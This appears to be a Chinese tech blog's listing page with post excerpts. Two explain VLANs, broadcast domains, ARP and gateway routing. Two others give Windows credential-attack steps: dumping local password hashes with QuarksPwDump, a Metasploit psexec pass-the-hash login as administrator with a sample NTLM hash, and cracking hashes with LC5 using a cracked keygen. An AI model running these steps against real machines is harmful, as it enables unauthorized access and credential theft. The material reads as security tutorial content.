    一、利用QuarksPwDump获取hash值 quarkspwdump --dump-hash-local --output 1.txt 二、利用msf远程登录 1、选择攻击模块 use exploit/windows/smb/psexec 2、设置相关参数 set rhosts 192.168.139.129set smbuser administratorset smbpass AAD3B435B51404EEAAD3B435B51404EE:AE15921C10DC81E86C2BFFED52D24A8F 3、run,运行 4、获取shell,如果有乱码使用chcp 65001解决 ...

    2021-03-09 667
  • 路由器能隔离广播,要VLAN有什么用?

    在上文用VLAN这把砍刀将一个超级大广播域,切割成N个小广播域,每一个小广播域用一个VLAN代表。每一个交换机的端口分配一个VLAN,拥有相同的VLAN的端口属于同一个VLAN,同一个广播域。 一个交换机有48端口,被平均分成3个VLAN,分别为VLAN 10、20、30,每个VLAN 有16个端口。当一个广播报文从任意一个端口接收到,只扩散到其中的15个端口。 问题来了,交换机与交换机之间的互联端口如果只有一个,分配什么VLAN比较合适呢? 10、20还是30? 都不合适。如果分配10,那么VLAN 20、30的广播报文就无法从互联端口流走。 有同学可能会说,交换机之间使用3个互联端口,分别分配10、20、30,可以完美解决问题。 但是这样会浪费端口资源。如果有100个VLAN的流量需要从交换机之间互联端口穿梭,则需要100个端口,每一个端口属于一个VLAN。而交换机只有48个端口啊,剩下的52个端口从哪里来? 以上的做法很不现实。解决这个问题很简单,只要让交换机之间的互联端口属于每一个VLAN,属于每一个广播域。交换机之间这种互联端口类型叫Trunk,属于任何广播域。 当广播报文需要进入交换机之间的互联端口,必须明确告知接收方交换机,该广播报文属于哪个广播域,哪个VLAN,那发送交换机是怎么做的呢? 很简单。只要在广播报文里嵌入一个VLAN标签,规范这项技术的标准是IEEE 802.1Q。 接收交换机只要从广播报文里将VLAN标签提取出来,然后将广播报文扩散到属于该VLAN的所有端口,包括Trunk口。上文说了,Trunk口默认属于所有广播域。 通过以上方式,一个广播报文唰地一下就扩散到所有属于该广播域(VLAN)的所有端口。而不属于该广播域(VLAN)的端口不会受到该条广播报文的骚扰,因为它们永远听不到这条广播。广播报文的隔离就是这样来实现的。 当然,任何时候都有特殊情况的发生。有些广播报文是交换机自身产生的,那么这个广播报文属于哪个广播域(VLAN)呢?  如果是ARP广播报文,通常是交换机的三层接口触发的,而三层接口会绑定二层接口。交换机根据二层接口属于哪个VLAN,以此来推断ARP广播报文属于哪个VLAN。然后打上VLAN标签,在该VLAN广播域里进行扩散。 如果是Cisco PVST+消息,每一个消息自己会携带自己的VLAN ID。 如果是RSTP消息呢,消息没有明确告知交换机VLAN值。交换机呢,也不着急,什么VLAN标签也不打,让消息在trunk里自由扩散。接收交换机收到之后也不着急,而是将任何没有携带VLAN标签的报文,默认认为是Native VLAN广播域的报文,并在Native VLAN广播域进行扩散。由于Native VLAN默认值 =1,而VLAN1一般不会分配给终端用户。所有终端用户永远也收不到类似的广播报文。 VLAN隔离广播报文讲的差不多了,继续讲报文开头的故事。 一台开机的电脑,发出DHCP广播报文,被交换机扩散到属于该VLAN(10)的广播域。DHCP大神也在VLAN10里,自然听到了。大神给电脑分配了一个IP地址、网络掩码、网关、DNS服务器,分别如下:  IP = 10.1.1.2 Mask = 255.255.255.0 Gateway = 10.1.1.1 DNS = 10.1.1.1  并将消息以单播的方式发给这台电脑。同学们这里会有点疑惑,电脑在获得IP地址之前,还没有IP地址,大神怎么将消息单播给这台电脑呢? 此时电脑虽然没有IP地址,默认使用0.0.0.0这个地址,这个地址是无意义的,大神也知道是无意义的,大神并不care。但是电脑有自己的MAC地址啊,大神发出的单播报文只要填写目的MAC = 这台电脑的MAC,是不是就可以将消息单播给这台电脑了? 是的。 坐在电脑后的老王登场了,想Ping 10.1.2.2这台电脑玩玩,敲完命令回车,老王盯着屏幕看,以下是屏幕背后发生的故事。 电脑发现10.1.2.2和自己10.1.1.2并不在一个广播域。有同学可能会问,电脑知道怎么这两个IP地址不在一个广播域的? 电脑想笑但是忍住了,一个广播域内每台电脑的网段必须相同,否则就不是一个广播域。显然 10.1.2.2的网段 = 10.1.2,10.1.1.2的网段= 10.1.1,两个网段号明显不相同。 既然不在一个广播域,老王的电脑10.1.1.2能ARP广播发现10.1.2.2的MAC地址吗?不能啊,不同的广播域有VLAN隔离着呢! 不在一个广播域,ARP广播也会被VLAN隔离,不会到达对方(10.1.2.2)的广播域,你觉得老王的电脑会发ARP广播请求对方的MAC地址吗? 不会的,电脑没那么傻! 无法发现对方的MAC地址,就无法完成二层以太协议头的封装,那么不同广播域的电脑就无法通信,囚徒困境? 并不是。 每个广播域都有一个特殊的角色,它的名字叫网关。网关可以代理转发不同广播域电脑之间的通信。比如上文中的网关=10.1.1.1就是这个特殊的角色。 老王电脑一旦发现对方和自己不在一个广播域,就会知道需要将Ping报文发给网关。虽然知道网关的IP = 10.1.1.1,但光知道这个还不行,还需要ARP广播获得网关的MAC地址才能把Ping报文扔给网关。 由于网关IP = 10.1.1.1 和老王的电脑IP = 10.1.1.2,属于同一个网段,同一个广播域,那么ARP广播自然可以到达网关,那么就可以获得网关的MAC地址。 老王电脑将Ping报文扔给网关,网关收到这个目的IP = 10.1.2.2 的Ping报文怎么处理呢? 电脑 收到目的IP = 自己的IP,会将报文扔给CPU处理。 收到目的IP≠自己IP的报文会直接扔掉,气量太小,所以做不了网关。  网关 收到目的IP = 自己的IP,也会将报文扔给CPU处理。这是网关的主机(End System)一面,和普通电脑没有任何区别。 网关如果收到目的IP≠自己IP,会查询路由表做流量转发,这是网关的路由器(Intermediate System )的另一面,这就是路由器区别于普通电脑的一面。  网关发现自己另外一个接口IP = 10.1.2.1/24 与Ping报文的目的IP =10.1.2.2在一个相同的广播域,于是认为目标主机应该就在这个广播域。于是发出ARP广播请求对方的MAC地址。一旦获得MAC地址,就可以将Ping报文扔给这台10.1.2.2电脑。 总结一下 路由器 作为每一个广播域的优秀代表,不光可以为自己服务,而且可以为广播域其它电脑服务。 路由器尽管气量很大,但是只服务单播报文。遇到广播报文只会扔给CPU,不会转发。 一个广播域的接口,使用不同的网段。如果试图使用相同的网段、或者部分重叠的网段,路由器会拒绝使用。   交换机 使用VLAN来隔离广播域,一个VLAN一个广播域。 ...

    2021-03-06 716
  • windows密码获取 -- LC5暴力破解Hash密码

    一、首先用QuarksPwDump导出hash值并存储到1.txt quarkspwdump --dump-hash-local --output 1.txt 二、下载并安装LC5并注册 1、下载地址:加入交流群 2、双击lc5setup一路下一步, 3、将hashgen和lc5替换了原文件 4、双击lc5,并打开注册机,点击administrator 三、使用方法 1、点击会话,导入1.txt 2、点击运行符号,实现破解 ...

    2021-03-05 698
  • 路由器能隔离广播,要VLAN有什么用?

    路由器能隔绝广播,那要VLAN有什么用?既配置了VLAN又划分在不同的网段是不是有些多余了? 透彻理解每一个字的真正涵义,有时并不那么容易。以下文字为了尝试让同学们透彻理解这些字的真正涵义。 什么是广播(Broadcast)? 广播报文,就是任何主机无条件接收的报文。无条件这三个字就不多解释了,可以理解为必须、强制的。 广播报文,如果没有IP协议头,只有Ethernet协议头,那么就是二层广播,二层广播地址 = FF:FF: FF:FF: FF:FF。 如果有IP协议头,那么就是三层广播,三层广播地址 = 255.255.255.255。 既然有广播,就会有单播(Unicast)。  什么是单播(Unicast)?如果高音喇叭是广播,管你愿不愿意听,你一定能听到。单播就是你和朋友在打电话,两者参与的点对点通信。  为何要有广播?广播报文都用在什么地方? 电脑开机的时候,需要一个IP地址与外部的世界通信。哪位大神能做点慈善事业,给这台电脑分配一个IP地址啊?这位做慈善事业的大神名字叫:DHCP服务器。 电脑并不知道有没有大神,也不知道大神的IP地址。如果知道大神的IP地址,就可以与大神单播通信了,对吗? 电脑并不care这些。每台电脑开机的时候都会使用广播来碰碰运气,于是发出了一个DHCP广播报文。 DHCP广播报文从网口流出去了,流到哪里去了? 交换机。 交换机怎么来处理这个广播报文? 交换机检查DHCP广播报文的目的MAC= FF:FF: FF:FF: FF:FF,知道这是一个广播报文。然后怎么处理? 需要将这个DHCP广播报文,发给这个广播域中的每一个端口。因为广播的涵义是每一个端口连接的电脑都需要接收,交换机这么做很好理解吧? 什么又是广播域呢?广播域,就是一个广播报文可以扩散的势力范围。比如,高音喇叭(广播),它的扩散范围就是一个广播域。默认情况下,交换机所有端口处于一个广播域。假设交换机有48个端口,那么这48个端口都处于同一个广播域。 交换机会将DHCP广播报文复制(copy)47次,将报文依次从47个端口流出(outgoing)。不是48个端口吗?怎么只从47个端口流出?其中有一个进口(incoming),即交换机接收到DHCP广播报文那个端口,需要剔除出去。 不要忘记,一个大型的网络可能有成百上千台交换机,上文中的47个端口通常会有1-2个端口连接其它交换机。那么DHCP广播报文就顺利地流到了其它交换机,然后继续扩散到所有端口。而其它的交换机还会连接着另外的交换机,就这么循环下去。假设网络里有100台交换机,一共48 * 100 = 4800个端口,那么4799个端口都会收到DHCP广播报文。 如果每个端口都连着电脑,那么4799个DHCP广播报文,就会产生4799次网卡的硬件中断,中断CPU的正在处理的工作,来处理这个DHCP广播报文。对于99.9%的电脑来说,完全是一种地地道道的骚扰,因为它们压根不是DHCP服务器大神,中断CPU难道很好玩吗? 不就是4799次广播报文吗?计算机CPU高速计算能力处理起来还不是小菜一碟? 如果4800台电脑都发一次DHCP广播报文呢?那么就是4800 *4800 = 23,035,200 。 如果是48000台电脑,每台主机一天发100个报文呢? 48000 * 48000 * 100 = 230400000000 次报文复制/天。 广播报文不光骚扰电脑的CPU,还消耗交换机硬件吞吐能力。你以为交换机的复制报文行为是很轻松的事吗? 其实并不是,复制报文的操作一样会消耗硬件资源,一样会消耗内部数据总线资源。 站着说话轻松,是因为我们并不知道交换机背后所付出的努力。而为了保护交换机被广播报文的骚扰,以及保护那些电脑的CPU的免受广播的骚扰,必须将广播域的势力范围大大缩小。用哪把砍刀将广播域的势力范围砍小呢? 砍刀的名字叫VLAN! VLAN 不同的电脑属于不同的业务部门,相同的业务部门使用同一个VLAN,一个VLAN就是上文的一个广播域。 只要将交换机端口分配到不同的VLAN里,就可以实现将交换机端口划分到不同的广播域。这句话如果看不懂,实在抱歉,真的帮不上你了。 接下来就简单了,对于入口(incoming)的广播报文,需要转发到哪些出口(outgoing)呢? 那么就根据入口(incoming port)属于哪个VLAN,然后把属于该VLAN的所有端口过滤出来,广播报文只转发到这些过滤出来的端口(入接口除外),因为它们属于一个广播域。而不要将广播报文发到所有的端口。...

    2021-03-05 747

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:8:00-23:00,节假日休息

扫码关注